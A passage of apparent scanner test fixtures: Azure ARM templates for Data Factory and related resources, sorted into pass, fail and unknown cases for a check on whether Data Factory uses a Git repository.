parameters('vaultBaseUrl'), '\",','\"KeyName\": \"', parameters('keyName'), '\",','\"KeyVersion\": \"', parameters('keyVersion'), '\"}')), json('null'))]" }, "tags": "[ if(contains(parameters('tagsByResource'), 'Microsoft.DataFactory/factories'), parameters('tagsByResource')['Microsoft.DataFactory/factories'], json('{}')) ]", "resources": [ { "condition": "[and(equals(parameters('version'), 'V2'), parameters('vNetEnabled'))]", "name": "[concat(parameters('name'), '/default')]", "type": "Microsoft.DataFactory/factories/managedVirtualNetworks", "apiVersion": "2018-06-01", "properties": {}, "dependsOn": [ "[concat('Microsoft.DataFactory/factories/', parameters('name'))]" ] }, { "condition": "[and(equals(parameters('version'), 'V2'), parameters('vNetEnabled'))]", "name": "[concat(parameters('name'), '/AutoResolveIntegrationRuntime')]", "type": "Microsoft.DataFactory/factories/integrationRuntimes", "apiVersion": "2018-06-01", "properties": { "type": "Managed", "managedVirtualNetwork": { "referenceName": "default", "type": "ManagedVirtualNetworkReference" }, "typeProperties": { "computeProperties": { "location": "AutoResolve", "dataFlowProperties": { "computeType": "General", "coreCount": 8, "timeToLive": 0 } } } }, "dependsOn": [ "[concat('Microsoft.DataFactory/factories/', parameters('name'))]", "[concat('Microsoft.DataFactory/factories/', parameters('name'), '/managedVirtualNetworks/default')]" ] } ] }, { "condition": "[and(not(parameters('publicNetworkAccess')), equals(parameters('privateEndpoints')[0].privateEndpointConfiguration.resourceGroup.mode, 1))]", "apiVersion": "2018-05-01", "name": "[concat('deployResourceGroup-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name)]", "type": "Microsoft.Resources/deployments", "subscriptionId": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]", "location": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.location]", "dependsOn": [ "[parameters('name')]" ], "copy": { "name": "privateendpointscopy", "count": "[length(parameters('privateEndpoints'))]" }, "properties": { "mode": "Incremental", "template": { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Resources/resourceGroups", "apiVersion": "2021-04-01", "name": "[variables('resourceGroupId')]", "location": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.location]", "properties": {} } ] } } }, { "condition": "[not(parameters('publicNetworkAccess'))]", "apiVersion": "2017-05-10", "name": "[concat('deployPrivateEndpoint-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name)]", "type": "Microsoft.Resources/deployments", "resourceGroup": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name]", "subscriptionId": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]", "dependsOn": [ "[parameters('name')]", "[concat('deployResourceGroup-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name)]" ], "copy": { "name": "privateendpointscopy", "count": "[length(parameters('privateEndpoints'))]" }, "properties": { "mode": "Incremental", "template": { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "location": "[parameters('location')]", "name": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name]", "type": "Microsoft.Network/privateEndpoints", "apiVersion": "2020-03-01", "properties": { "subnet": { "id": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.properties.subnet.id]" }, "privateLinkServiceConnections": [ { "name": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name]", "properties": { "privateLinkServiceId": "[concat('/subscriptions/',parameters('subscription'),'/resourcegroups/',parameters('resourceGroup'), '/providers/Microsoft.DataFactory/factories/', parameters('name'))]", "groupIds": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.properties.privateLinkServiceConnections[0].properties.groupIds]" } } ] }, "tags": {} } ] } } }, { "apiVersion": "2017-05-10", "name": "[concat('deployPrivateDnsZone-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name)]", "type": "Microsoft.Resources/deployments", "resourceGroup": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name]", "subscriptionId": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]", "dependsOn": [ "[concat('Microsoft.Resources/deployments/', concat('deployPrivateEndpoint-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name))]" ], "condition": "[and(not(parameters('publicNetworkAccess')), variables('integrateDns'))]", "copy": { "name": "privateendpointdnscopy", "count": "[length(parameters('privateEndpoints'))]" }, "properties": { "mode": "Incremental", "template": { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Network/privateDnsZones", "apiVersion": "2018-09-01", "name": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]", "location": "global", "tags": {}, "properties": {} }, { "type": "Microsoft.Network/privateDnsZones/virtualNetworkLinks", "apiVersion": "2018-09-01", "name": "[concat(string(parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName), '/', uniquestring(variables('subNetId')))]", "location": "global", "dependsOn": [ "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]" ], "properties": { "virtualNetwork": { "id": "[concat('/subscriptions/',variables('subNetSub'),'/resourceGroups/',variables('subNetRg'),'/providers/Microsoft.Network/virtualNetworks/',variables('subNetName'))]" }, "registrationEnabled": false } }, { "type": "Microsoft.Network/privateEndpoints/privateDnsZoneGroups", "apiVersion": "2020-03-01", "name": "[concat(parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name, '/', 'default')]", "location": "[parameters('location')]", "dependsOn": [ "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]" ], "properties": { "privateDnsZoneConfigs": [ { "name": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]", "properties": { "privateDnsZoneId": "[concat('/subscriptions/',variables('subNetSub'),'/resourcegroups/',variables('subNetRg'), '/providers/Microsoft.Network/privateDnsZones/', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName )]" } } ] } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_DataFactoryUsesGitRepository/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.10.61.36676", "templateHash": "3351458417114662416" } }, "parameters": { "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources. Leave the default value." } }, "azureADUserName": { "type": "string", "metadata": { "description": "Your Azure AD user identity (this identity will be granted admin rights to the Azure SQL instance)." } }, "azureADObjectID": { "type": "string", "metadata": { "description": "Object ID for your Azure AD user identity (see the README.md file in the Azure Quickstart guide for instructions on how to get your Azure AD user object ID)." } }, "azureDataLakeStoreAccountName": { "type": "string", "defaultValue": "[format('adls{0}', uniqueString(resourceGroup().id))]", "maxLength": 24, "minLength": 3, "metadata": { "description": "Name of the Azure Data Lake Storage Gen2 storage account. Storage account name requirements:\r\n- Storage account names must be between 3 and 24 characters in length and may contain numbers and lowercase letters only.\r\n- Your storage account name must be unique within Azure. No two storage accounts can have the same name.\r\n" } }, "azureDataFactoryName": { "type": "string", "defaultValue": "[format('adf-{0}', uniqueString(resourceGroup().id))]", "metadata": { "description": "Name of the Azure Data Factory instance." } }, "azureDatabricksName": { "type": "string", "defaultValue": "[format('databricks-{0}', uniqueString(resourceGroup().id))]", "maxLength": 30, "minLength": 3, "metadata": { "description": "Name of the Azure Databricks workspace. Databricks workspace name requirements:\r\n- Databricks workspace names must be between 3 and 30 characters in length and may contain numbers, letters, underscores, and hyphens only.\r\n" } }, "databricksNPIP": { "type": "bool", "defaultValue": true, "metadata": { "description": "Do you want to enable No Public IP (NPIP) for your Azure Databricks workspace (true or false)?" } }, "deployEventHub": { "type": "bool", "defaultValue": true, "metadata": { "description": "Do you want to deploy a new Azure Event Hub for streaming use cases (true or false)? Leave default name if you choose false." } }, "eventHubName": { "type": "string", "defaultValue": "[format('eh-{0}', uniqueString(resourceGroup().id))]", "maxLength": 50, "minLength": 6, "metadata": { "description": "Name of the Azure Event Hub. Event Hub name requirements:\r\n- Event Hub names must be between 6 and 50 characters in length and may contain numbers, letters, and hyphens only.\r\n- The name must start with a letter, and it must end with a letter or number\r\n" } }, "deployAzureKeyVault": { "type": "bool", "defaultValue": true, "metadata": { "description": "Do you want to deploy a new Azure Key Vault instance (true or false)? Leave default name if you choose false." } }, "azureKeyVaultName": { "type": "string", "defaultValue": "[format('kv-{0}', uniqueString(resourceGroup().id))]", "maxLength": 24, "minLength": 3, "metadata": { "description": "Name of the Azure Key Vault. Key Vault name requirements:\r\n- Key vault names must be between 3 and 24 characters in length and may contain numbers, letters, and dashes only.\r\n" } }, "deploySqlDb": { "type": "bool", "defaultValue": true, "metadata": { "description": "Do you want to deploy a new Azure SQL Database (true or false)? Leave default name if you choose false." } }, "azureSqlServerName": { "type": "string", "defaultValue": "[format('{0}sqlsrv', uniqueString(resourceGroup().id))]", "metadata": { "description": "Name of Azure SQL logical server" } }, "azureSqlDatabaseName": { "type": "string", "defaultValue": "analytics-db", "maxLength": 128, "metadata": { "description": "Database name" } }, "sqlAdministratorLogin": { "type": "string", "metadata": { "description": "SQL administrator username" } }, "sqlAdministratorLoginPassword": { "type": "secureString", "metadata": { "description": "SQL administrator password" } } }, "variables": { "akvRoleName": "Key Vault Secrets User", "akvRoleIdMapping": { "Key Vault Secrets User": "4633458b-17de-408a-b874-0445c86b69e6" } }, "resources": [ { "condition": "[parameters('deployEventHub')]", "type": "Microsoft.EventHub/namespaces", "apiVersion": "2021-11-01", "name": "[format('{0}ns', parameters('eventHubName'))]", "location": "[parameters('location')]", "sku": { "name": "Standard", "tier": "Standard", "capacity": 1 }, "properties": { "isAutoInflateEnabled": false, "maximumThroughputUnits": 0 } }, { "condition": "[parameters('deployEventHub')]", "type": "Microsoft.EventHub/namespaces/eventhubs", "apiVersion": "2021-11-01", "name": "[format('{0}/{1}', format('{0}ns', parameters('eventHubName')), parameters('eventHubName'))]", "properties": { "messageRetentionInDays": 7, "partitionCount": 1 }, "dependsOn": [ "[resourceId('Microsoft.EventHub/namespaces', format('{0}ns', parameters('eventHubName')))]" ] }, { "condition": "[parameters('deploySqlDb')]", "type": "Microsoft.Sql/servers", "apiVersion": "2021-11-01", "name": "[parameters('azureSqlServerName')]", "location": "[parameters('location')]", "properties": { "minimalTlsVersion": "1.2", "administratorLogin": "[parameters('sqlAdministratorLogin')]", "administratorLoginPassword": "[parameters('sqlAdministratorLoginPassword')]", "administrators": { "administratorType": "ActiveDirectory", "azureADOnlyAuthentication": false, "login": "[parameters('azureADUserName')]", "sid": "[parameters('azureADObjectID')]", "tenantId": "[subscription().tenantId]" } } }, { "condition": "[parameters('deploySqlDb')]", "type": "Microsoft.Sql/servers/databases", "apiVersion": "2021-11-01", "name": "[format('{0}/{1}', parameters('azureSqlServerName'), parameters('azureSqlDatabaseName'))]", "location": "[parameters('location')]", "sku": { "capacity": 8, "family": "Gen5", "name": "GP_Gen5", "tier": "GeneralPurpose" }, "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('azureSqlServerName'))]" ] }, { "condition": "[parameters('deploySqlDb')]", "type": "Microsoft.Sql/servers/firewallRules", "apiVersion": "2020-11-01-preview", "name": "[format('{0}/{1}', parameters('azureSqlServerName'), 'Allow Azure Services')]", "properties": { "startIpAddress": "0.0.0.0", "endIpAddress": "0.0.0.0" }, "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('azureSqlServerName'))]" ] }, { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2021-09-01", "name": "[parameters('azureDataLakeStoreAccountName')]", "location": "[parameters('location')]", "sku": { "name": "Standard_LRS" }, "kind": "StorageV2", "properties": { "minimumTlsVersion": "TLS1_2", "isHnsEnabled": true } }, { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", "scope": "[format('Microsoft.Storage/storageAccounts/{0}', parameters('azureDataLakeStoreAccountName'))]", "name": "[guid(resourceId('Microsoft.Storage/storageAccounts', parameters('azureDataLakeStoreAccountName')), parameters('azureADObjectID'), subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe'))]", "properties": { "roleDefinitionId": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", "principalId": "[parameters('azureADObjectID')]" }, "dependsOn": [ "[resourceId('Microsoft.Storage/storageAccounts', parameters('azureDataLakeStoreAccountName'))]" ], "metadata": { "description": "Assigns the user to Storage Blob Data Contributor Role" } }, { "type": "Microsoft.DataFactory/factories", "apiVersion": "2018-06-01", "name": "fail2", "location": "[parameters('location')]", "identity": { "type": "SystemAssigned" } }, { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", "scope": "[format('Microsoft.Storage/storageAccounts/{0}', parameters('azureDataLakeStoreAccountName'))]", "name": "[guid(resourceId('Microsoft.Storage/storageAccounts', parameters('azureDataLakeStoreAccountName')), resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName')), subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe'))]", "properties": { "roleDefinitionId": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", "principalId": "[reference(resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName')), '2018-06-01', 'full').identity.principalId]", "principalType": "ServicePrincipal" }, "dependsOn": [ "[resourceId('Microsoft.Storage/storageAccounts', parameters('azureDataLakeStoreAccountName'))]", "[resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName'))]" ], "metadata": { "description": "Assigns the ADF Managed Identity to Storage Blob Data Contributor Role" } }, { "type": "Microsoft.DataFactory/factories/linkedservices", "apiVersion": "2018-06-01", "name": "[format('{0}/{1}', parameters('azureDataFactoryName'), format('{0}-linkedService', parameters('azureDataLakeStoreAccountName')))]", "properties": { "type": "AzureBlobFS", "typeProperties": { "accountKey": "[listKeys(resourceId('Microsoft.Storage/storageAccounts', parameters('azureDataLakeStoreAccountName')), '2021-09-01').keys[0].value]", "url": "[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('azureDataLakeStoreAccountName'))).primaryEndpoints.dfs]" } }, "dependsOn": [ "[resourceId('Microsoft.Storage/storageAccounts', parameters('azureDataLakeStoreAccountName'))]", "[resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName'))]" ] }, { "condition": "[parameters('deploySqlDb')]", "type": "Microsoft.DataFactory/factories/linkedservices", "apiVersion": "2018-06-01", "name": "[format('{0}/{1}', parameters('azureDataFactoryName'), format('{0}-linkedService', parameters('azureSqlServerName')))]", "properties": { "type": "AzureSqlDatabase", "typeProperties": { "connectionString": "[format('Data Source={0}{1};Initial Catalog={2};User ID = {3};Password={4};', parameters('azureSqlServerName'), environment().suffixes.sqlServerHostname, parameters('azureSqlDatabaseName'), parameters('sqlAdministratorLogin'), parameters('sqlAdministratorLoginPassword'))]" } }, "dependsOn": [ "[resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName'))]" ] }, { "type": "Microsoft.Databricks/workspaces", "apiVersion": "2018-04-01", "name": "[parameters('azureDatabricksName')]", "location": "[parameters('location')]", "sku": { "name": "premium" }, "properties": { "managedResourceGroupId": "[subscriptionResourceId('Microsoft.Resources/resourceGroups', format('databricks-rg-{0}-{1}', parameters('azureDatabricksName'), uniqueString(parameters('azureDatabricksName'), resourceGroup().id)))]", "parameters": { "enableNoPublicIp": { "value": "[parameters('databricksNPIP')]" } } } }, { "condition": "[parameters('deployAzureKeyVault')]", "type": "Microsoft.KeyVault/vaults", "apiVersion": "2022-07-01", "name": "[parameters('azureKeyVaultName')]", "location": "[parameters('location')]", "properties": { "enableRbacAuthorization": true, "tenantId": "[subscription().tenantId]", "sku": { "name": "standard", "family": "A" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices" } } }, { "condition": "[parameters('deployAzureKeyVault')]", "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", "scope": "[format('Microsoft.KeyVault/vaults/{0}', parameters('azureKeyVaultName'))]", "name": "[guid(variables('akvRoleIdMapping')[variables('akvRoleName')], parameters('azureADObjectID'), resourceId('Microsoft.KeyVault/vaults', parameters('azureKeyVaultName')))]", "properties": { "roleDefinitionId": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', variables('akvRoleIdMapping')[variables('akvRoleName')])]", "principalId": "[parameters('azureADObjectID')]" }, "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('azureKeyVaultName'))]" ] }, { "condition": "[parameters('deployAzureKeyVault')]", "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", "scope": "[format('Microsoft.KeyVault/vaults/{0}', parameters('azureKeyVaultName'))]", "name": "[guid(variables('akvRoleIdMapping')[variables('akvRoleName')], resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName')), resourceId('Microsoft.KeyVault/vaults', parameters('azureKeyVaultName')))]", "properties": { "roleDefinitionId": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', variables('akvRoleIdMapping')[variables('akvRoleName')])]", "principalId": "[reference(resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName')), '2018-06-01', 'full').identity.principalId]", "principalType": "ServicePrincipal" }, "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('azureKeyVaultName'))]", "[resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName'))]" ] }, { "condition": "[parameters('deployAzureKeyVault')]", "type": "Microsoft.DataFactory/factories/linkedservices", "apiVersion": "2018-06-01", "name": "[format('{0}/{1}', parameters('azureDataFactoryName'), format('{0}-linkedService', parameters('azureKeyVaultName')))]", "properties": { "type": "AzureKeyVault", "typeProperties": { "baseUrl": "[reference(resourceId('Microsoft.KeyVault/vaults', parameters('azureKeyVaultName')), '2022-07-01').vaultUri]" } }, "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('azureKeyVaultName'))]", "[resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName'))]" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_DataFactoryUsesGitRepository/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "subscription": { "defaultValue": "", "type": "string" }, "resourceGroup": { "defaultValue": "", "type": "string" }, "name": { "defaultValue": "myv2datafactory", "type": "string" }, "version": { "defaultValue": "V2", "type": "string" }, "location": { "defaultValue": "eastus", "type": "string" }, "tagsByResource": { "type": "Object" }, "vNetEnabled": { "defaultValue": false, "type": "bool" }, "publicNetworkAccess": { "defaultValue": true, "type": "bool" }, "privateEndpoints": { "type": "array", "metadata": { "description": "Private endpoints. Empty if no private network access selected." } }, "gitConfigureLater": { "defaultValue": true, "type": "bool" }, "gitRepoType": { "defaultValue": "FactoryVSTSConfiguration", "type": "string" }, "gitAccountName": { "defaultValue": "", "type": "string" }, "gitProjectName": { "defaultValue": "", "type": "string" }, "gitRepositoryName": { "defaultValue": "", "type": "string" }, "gitCollaborationBranch": { "defaultValue": "master", "type": "string" }, "gitRootFolder": { "defaultValue": "/", "type": "string" }, "userAssignedIdentities": { "defaultValue": { "type": "SystemAssigned" }, "type": "object" }, "userAssignedIdentitiesStr": { "defaultValue": "", "type": "string" }, "vaultBaseUrl": { "defaultValue": "", "type": "string" }, "keyName": { "defaultValue": "", "type": "string" }, "keyVersion": { "defaultValue": "", "type": "string" }, "enableCMK": { "defaultValue": false, "type": "bool" }, "cmkIdentity": { "defaultValue": "", "type": "string" } }, "variables": { "hasPE": "[greater(length(parameters('privateEndpoints')), 0)]", "resourceGroupId": "[if(variables('hasPE'),parameters('privateEndpoints')[0].privateEndpointConfiguration.resourceGroup.value.name, '')]", "subNetId": "[if(variables('hasPE'),parameters('privateEndpoints')[0].privateEndpointConfiguration.privateEndpoint.properties.subnet.id, '')]", "subNetSub": "[if(variables('hasPE'),split(variables('subNetId'),'/')[2],'')]", "subNetRg": "[if(variables('hasPE'),split(variables('subNetId'),'/')[4],'')]", "subNetName": "[if(variables('hasPE'),split(variables('subNetId'),'/')[8],'')]", "integrateDns": "[if(variables('hasPE'),parameters('privateEndpoints')[0].privateDnsZoneConfiguration.integrateWithPrivateDnsZone, 'true')]" }, "resources": [ { "condition": "[equals(parameters('version'), 'V2')]", "type": "Microsoft.DataFactory/factories", "apiVersion": "2018-06-01", "name": "pass", "location": "[parameters('location')]", "identity": "[if(parameters('enableCMK'),json(parameters('userAssignedIdentitiesStr')), parameters('userAssignedIdentities'))]", "properties": { "repoConfiguration": { "accountName": "string", "collaborationBranch": "string", "disablePublish": "bool", "lastCommitId": "string", "repositoryName": "string", "rootFolder": "string", "type": "[parameters('gitRepoType')]" }, "publicNetworkAccess": "[if(bool(parameters('publicNetworkAccess')), 'Enabled', 'Disabled')]", "encryption": "[if(parameters('enableCMK'), json(concat('{\"identity\":{\"userAssignedIdentity\":\"', parameters('cmkIdentity'), '\"},','\"VaultBaseUrl\": \"', parameters('vaultBaseUrl'), '\",','\"KeyName\": \"', parameters('keyName'), '\",','\"KeyVersion\": \"', parameters('keyVersion'), '\"}')), json('null'))]" }, "tags": "[ if(contains(parameters('tagsByResource'), 'Microsoft.DataFactory/factories'), parameters('tagsByResource')['Microsoft.DataFactory/factories'], json('{}')) ]", "resources": [ { "condition": "[and(equals(parameters('version'), 'V2'), parameters('vNetEnabled'))]", "name": "[concat(parameters('name'), '/default')]", "type": "Microsoft.DataFactory/factories/managedVirtualNetworks", "apiVersion": "2018-06-01", "properties": {}, "dependsOn": [ "[concat('Microsoft.DataFactory/factories/', parameters('name'))]" ] }, { "condition": "[and(equals(parameters('version'), 'V2'), parameters('vNetEnabled'))]", "name": "[concat(parameters('name'), '/AutoResolveIntegrationRuntime')]", "type": "Microsoft.DataFactory/factories/integrationRuntimes", "apiVersion": "2018-06-01", "properties": { "type": "Managed", "managedVirtualNetwork": { "referenceName": "default", "type": "ManagedVirtualNetworkReference" }, "typeProperties": { "computeProperties": { "location": "AutoResolve", "dataFlowProperties": { "computeType": "General", "coreCount": 8, "timeToLive": 0 } } } }, "dependsOn": [ "[concat('Microsoft.DataFactory/factories/', parameters('name'))]", "[concat('Microsoft.DataFactory/factories/', parameters('name'), '/managedVirtualNetworks/default')]" ] } ] }, { "condition": "[and(not(parameters('publicNetworkAccess')), equals(parameters('privateEndpoints')[0].privateEndpointConfiguration.resourceGroup.mode, 1))]", "apiVersion": "2018-05-01", "name": "[concat('deployResourceGroup-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name)]", "type": "Microsoft.Resources/deployments", "subscriptionId": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]", "location": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.location]", "dependsOn": [ "[parameters('name')]" ], "copy": { "name": "privateendpointscopy", "count": "[length(parameters('privateEndpoints'))]" }, "properties": { "mode": "Incremental", "template": { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Resources/resourceGroups", "apiVersion": "2021-04-01", "name": "[variables('resourceGroupId')]", "location": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.location]", "properties": {} } ] } } }, { "condition": "[not(parameters('publicNetworkAccess'))]", "apiVersion": "2017-05-10", "name": "[concat('deployPrivateEndpoint-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name)]", "type": "Microsoft.Resources/deployments", "resourceGroup": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name]", "subscriptionId": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]", "dependsOn": [ "[parameters('name')]", "[concat('deployResourceGroup-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name)]" ], "copy": { "name": "privateendpointscopy", "count": "[length(parameters('privateEndpoints'))]" }, "properties": { "mode": "Incremental", "template": { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "location": "[parameters('location')]", "name": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name]", "type": "Microsoft.Network/privateEndpoints", "apiVersion": "2020-03-01", "properties": { "subnet": { "id": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.properties.subnet.id]" }, "privateLinkServiceConnections": [ { "name": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name]", "properties": { "privateLinkServiceId": "[concat('/subscriptions/',parameters('subscription'),'/resourcegroups/',parameters('resourceGroup'), '/providers/Microsoft.DataFactory/factories/', parameters('name'))]", "groupIds": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.properties.privateLinkServiceConnections[0].properties.groupIds]" } } ] }, "tags": {} } ] } } }, { "apiVersion": "2017-05-10", "name": "[concat('deployPrivateDnsZone-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name)]", "type": "Microsoft.Resources/deployments", "resourceGroup": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name]", "subscriptionId": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]", "dependsOn": [ "[concat('Microsoft.Resources/deployments/', concat('deployPrivateEndpoint-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name))]" ], "condition": "[and(not(parameters('publicNetworkAccess')), variables('integrateDns'))]", "copy": { "name": "privateendpointdnscopy", "count": "[length(parameters('privateEndpoints'))]" }, "properties": { "mode": "Incremental", "template": { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Network/privateDnsZones", "apiVersion": "2018-09-01", "name": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]", "location": "global", "tags": {}, "properties": {} }, { "type": "Microsoft.Network/privateDnsZones/virtualNetworkLinks", "apiVersion": "2018-09-01", "name": "[concat(string(parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName), '/', uniquestring(variables('subNetId')))]", "location": "global", "dependsOn": [ "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]" ], "properties": { "virtualNetwork": { "id": "[concat('/subscriptions/',variables('subNetSub'),'/resourceGroups/',variables('subNetRg'),'/providers/Microsoft.Network/virtualNetworks/',variables('subNetName'))]" }, "registrationEnabled": false } }, { "type": "Microsoft.Network/privateEndpoints/privateDnsZoneGroups", "apiVersion": "2020-03-01", "name": "[concat(parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name, '/', 'default')]", "location": "[parameters('location')]", "dependsOn": [ "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]" ], "properties": { "privateDnsZoneConfigs": [ { "name": "[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]", "properties": { "privateDnsZoneId": "[concat('/subscriptions/',variables('subNetSub'),'/resourcegroups/',variables('subNetRg'), '/providers/Microsoft.Network/privateDnsZones/', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName )]" } } ] } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_DataFactoryUsesGitRepository/unknown.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "subscription": { "defaultValue": "", "type": "string" }, "resourceGroup": { "defaultValue": "", "type": "string" }, "name": { "defaultValue": "myv2datafactory", "type": "string" }, "version": { "defaultValue": "V2", "type": "string" }, "location": { "defaultValue": "eastus", "type": "string" }, "tagsByResource": { "type": "Object" }, "vNetEnabled": { "defaultValue": false, "type": "bool" }, "publicNetworkAccess": { "defaultValue": true, "type": "bool" }, "privateEndpoints": { "type": "array", "metadata": { "description": "Private endpoints. Empty if no private network access selected." } }, "gitConfigureLater": { "defaultValue": true, "type": "bool" }, "gitRepoType": { "defaultValue": "FactoryVSTSConfiguration", "type": "string" }, "gitAccountName": { "defaultValue": "", "type": "string" }, "gitProjectName": { "defaultValue": "", "type": "string" }, "gitRepositoryName": { "defaultValue": "", "type": "string" }, "gitCollaborationBranch": { "defaultValue": "master", "type": "string" }, "gitRootFolder": { "defaultValue": "/", "type": "string" }, "userAssignedIdentities": { "defaultValue": { "type": "SystemAssigned" }, "type": "object" }, "userAssignedIdentitiesStr": { "defaultValue": "", "type": "string" }, 